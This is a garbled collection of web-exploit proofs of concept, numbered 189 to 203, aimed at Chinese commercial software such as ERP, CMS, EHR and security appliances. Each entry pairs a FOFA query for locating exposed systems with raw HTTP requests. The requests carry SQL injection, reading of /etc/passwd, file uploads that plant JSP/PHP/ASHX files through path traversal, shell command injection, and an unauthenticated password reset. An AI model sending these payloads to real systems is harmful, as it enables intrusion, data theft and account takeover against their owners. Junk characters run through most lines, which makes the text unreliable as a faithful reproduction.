189. 蓝网科技临床浏览系统 deleteStudy SQL注入
1 P2 d0 x+ |/ N' C, `FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
  D* x* Q% }7 C8 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" {. o; x. g$ S0 B, i3 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: g) I& I& s2 @& L' [1 _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ n) m# `% H9 K7 ?Connection: close
  I( e/ _/ n# C" \

( U$ M+ z4 H/ V, c. R3 C190. 短视频矩阵营销系统 poihuoqu 任意文件读取
4 X9 R  _) F9 j- [1 x9 P/ ]FOFA：title=="短视频矩阵营销系统"
5 P* L. A7 A: H- x) VPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
/ Z$ v. S/ R4 B( GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
; ~1 [3 w- l5 u0 O+ C: OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
9 R6 V! F5 \+ pAccept-Encoding: gzip, deflate
$ r8 A2 i6 c! f& o& g1 uAccept-Language: zh-CN,zh;q=0.9
. W2 E( T" w( H, q! ]; W5 o# L. r6 ~) S
poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
' j  h7 ?* X& f' M$ ?4 w2 O' ^% }3 rPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
$ B5 L5 t* i* n2 E; y, g& F7 CHost: your-ip
9 V! o+ }4 U+ `& O# f0 D* GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, b! }. Y' H7 W+ \: MContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
+ u% ]. m* E  O4 b+ N& j- Y

$ T- q! D! b; e" t' y/ E! W192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
- X. R) ~% G$ n4 {' ^& P+ j! m' SPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) a+ i$ G# g1 vContent-Type: application/x-www-form-urlencoded

% E9 @8 V# j- v$ x" h
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
! Q1 o$ i) K! v& u! ousing System.Web;
' g4 k6 i" [8 r* B7 jpublic class AverageHandler : IHttpHandler
' l4 L3 V8 ?  l5 M{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
# K4 f) U" Q/ n3 U}
}

  }2 J. N0 N! r; j5 L" R
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
/ ]3 {) w* T2 bGET /master/ajaxActions/getTokenAction.php HTTP/1.1
, S' o, @8 P8 m* N* ?Host:
+ i. N# ?; a3 l% uCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
" f. M$ o6 V  w! `) d: wUser-Agent: Mozilla/5.0
9 y/ a  o' ?7 S! P, V

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
, l7 t5 R$ }& O& oAccept: */*
9 ^; U0 t( v; V( x0 L/ J3 n- eConnection: close
  Z) m$ }  f5 E3 {2 {, S  jCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
/ Z. r8 b5 c" vContent-Length: 84
( D/ k% E' v  j7 Y( r* Z
! v- ?8 J# S, H; B4 y8 wparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
. T5 p; n* j  E* b1 B

' U, d; c9 j* y( j" p/ J- k# h1 J, j  _GET /master/img/config HTTP/1.1
) i5 |- c. I1 N# M: ^" k4 J, x: uHost:
+ h0 U" u" u: A. Y  @User-Agent: Mozilla/5.0

7 G7 F, |  \( c4 F2 g$ ^. a5 P& ~( R
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
5 I3 f, U, H. M; W4 H3 I8 [
; q# A! V5 n$ oPOST /servlet/uploadAttachmentServlet HTTP/1.1
4 \! t. v4 u. \- @) m8 {$ w4 ZHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
! Y6 k0 ^# j! q6 {! @" dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
& f9 Z* F* D4 F  B0 I  k  T1 tConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
' b+ y0 N1 H$ B# [: p& `& [Content-Type: text/plain
6 D6 e3 r5 h; U<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
, i, T8 ~, }3 i3 R" ~ {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
. q0 \$ M" b; i* ]3 ?9 j3 f+ H( x
# ]/ N" ^( L& g/ B* m$ n
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
6 d  ]0 c0 t( G0 @& dFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
# J/ P3 m( f( `; D: BHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
! U, ~. z4 `0 T: p/ AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
- H2 E# l; ]  ^" x6 R4 W5 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( `/ t$ _5 m' [9 a& I' fConnection: close
; g3 w3 ]9 X% [/ z; I4 ]" g( [Content-Type: application/x-www-form-urlencoded
Content-Length: 68

6 Y% x. g  x0 y5 U{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
8 k4 j9 q" N, }& V  y

7 j& J) D/ W4 E! \4 v1 p: \/ k4 Y196. 河南省风速科技统一认证平台密码重置
# H# p* ?5 @( {* v% H3 bFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
& `2 T0 B1 [" X# X- ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
( M' i2 M. R8 H) TX-Requested-With: XMLHttpRequest
- A+ i& g( R$ S( f8 C3 `Host:
" s& p# F/ V, @9 YAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  w0 x" Y  A) D! S/ f/ _Content-Length: 45
Connection: close

{"xgh":"test","newPass":"test666","email":""}

. _# r0 W& @" [  W! w9 Y  N, `) m

& b" r' G2 Z3 g% _$ N5 k5 j197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
% I! j/ ^. Q- ~$ ?3 [  `% u8 o/ W" _FOFA：app="浙大恩特客户资源管理系统"
: g8 O: [# C7 W' t* M, z6 e0 dGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
, `- ~  y# n, c0 _3 s" UHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
2 A6 i8 A6 x* Z, @5 f, }( e& ?Connection: close

* N3 ?& [1 \7 B5 `. [9 y

198.  阿里云盘 WebDAV 命令注入
- C) j1 z( N! F! f! ~8 C# JCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
/ N7 M% J1 y  c8 @6 {Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
& P& g1 e7 P8 e# s2 YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
7 j; B/ e9 P6 F$ R& TConnection: close
6 [$ \/ Q- J# t6 j( G& A

199. cockpit系统assetsmanager_upload接口 文件上传

( Z- r& {! B4 Y6 o4 H7 ^1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
3 Q0 q2 g' R/ m3 ^8 X. q. i$ M& cGET /auth/login?to=/ HTTP/1.1
& a. I. w& n- y1 E/ h4 q% p1 k
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
: x- D5 ^" ?$ D, B
1 f. x8 q: E& C+ [, N/ s2.使用刚才上一步获取到的jwt获取cookie：
0 _' i" E7 [7 u4 z
, I$ H. f% V+ c& k+ g+ ]+ aPOST /auth/check HTTP/1.1
& w6 _* h' N# X7 S3 Q8 h5 P+ j8 s. pContent-Type: application/json

$ ]3 s; ^, Q/ i% T. [{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

1 b0 A% q# U& _' b响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
: y5 A) g6 f. I' S- O0 V2 gFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
7 ~  R- O( z% ?$ w7 M, H5 mContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
: R, Q7 ?4 T1 v2 _5 rCookie: mysession=95524f01e238bf51bb60d77ede3bea92
$ Q0 ^6 ?0 @" V" M
% q- o' a% \! t1 V6 |1 r-----------------------------36D28FBc36bd6feE7Fb3
3 _2 e- Y) d% j  x8 ^& @& QContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
7 _* b6 p- X4 I7 F
<?php echo "tttt";unlink(__FILE__);?>
0 }% a2 h# d. B-----------------------------36D28FBc36bd6feE7Fb3
9 O/ s  I2 C- @: OContent-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
+ v+ e$ j$ G  k. R( o4 c

/storage/uploads/tttt.php
1 D$ s% F& x. ?7 f% U, P+ g$ A4 Y
; F) y7 c6 b3 ?200. SeaCMS海洋影视管理系统dmku SQL注入
2 A7 l) s+ Y' A4 w# s  G" b7 EFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
2 r' s5 q5 D" K" Y0 \5 x2 _Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
6 {  `- e7 S- G# AUpgrade-Insecure-Requests: 1
- t4 O7 D) d+ Q! y9 p, h3 `Cache-Control: max-age=0
, s& F! R$ V# GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; Z! x! B, o! c
/ w+ b- G) v1 c% @% k! X: n
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 A8 o+ ^3 ]: A: |( rAccept-Language: zh-CN,zh;q=0.9
Connection: close
6 N! K/ r/ L# W8 N
7 b* O1 j2 v' m. QTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
% q$ A9 F3 Z# h8 W) N8 _( l( W

6 m! M/ x7 _  L$ r0 y202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
3 q& O* l5 [$ [* y8 M( m1 ~获取__VIEWSTATE和__EVENTVALIDATION值
7 E! n$ p" O% |2 SGET /User/AccountEdit.aspx HTTP/1.1
  Y# Q$ {4 p; q% yHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
: F( \. q$ c) s' iContent-Length: 0
5 d% i5 Y9 {3 T6 \& Q
9 t" [1 q1 U, N& [' w( ^
( R- _% s# B2 l* ^+ M8 M. e8 s8 v3 q) \替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
, p3 p$ r+ ]$ J* {Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
( @6 S) C; o2 t- a+ c" c
__VIEWSTATE
# ^: }- n3 I0 f% A* P1 o  j: n-----------------------------786435874t38587593865736587346567358735687
  v9 _" D. R# U0 o  B' WContent-Disposition: form-data; name="__EVENTVALIDATION"

5 n+ _3 s6 m( l% A, A__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
" z8 B  v8 T$ B* ~7 [2 }8 UContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
6 T0 N6 t* ]" [" v7 R; x( [
Hello World!
5 D- e# @: ~7 k% [: K& }( `9 D7 x-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

9 H( I$ a2 |' u6 [! ^* I) ^上传图片
- ]9 n, a% b. G-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--
4 G- n4 x5 ]/ l

/_data/Uploads/1123.txt
2 v- Z8 z6 R! v2 }5 x# ]; U+ I* y
  W+ |; L: d4 L! z203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
8 \# K. |& d* a" b% t( ^. hAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
3 C  q  Y- `/ j8 j0 ~6 \: ?! M# VContent-Length: 210
5 I4 K; F7 Z3 S- [" Q6 U+ @6 D/ h- ]! e( {' ]
9 e- [& G/ i. |* l6 i------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
* A# l( ^( d3 \- M/ y8 l  q; t6 ~' sContent-Type:image/jpeg

<% out.print("hello,eHR");%>
, G+ H+ A$ W0 E4 }& @2 W------WebKitFormBoundaryt7WbDl1tXogoZys4--
* H. V8 n. v1 _# b# g& a. O: M


: Z( D7 j# G( G/ O& I: F' b

3 Z3 r; m2 m) |, H% v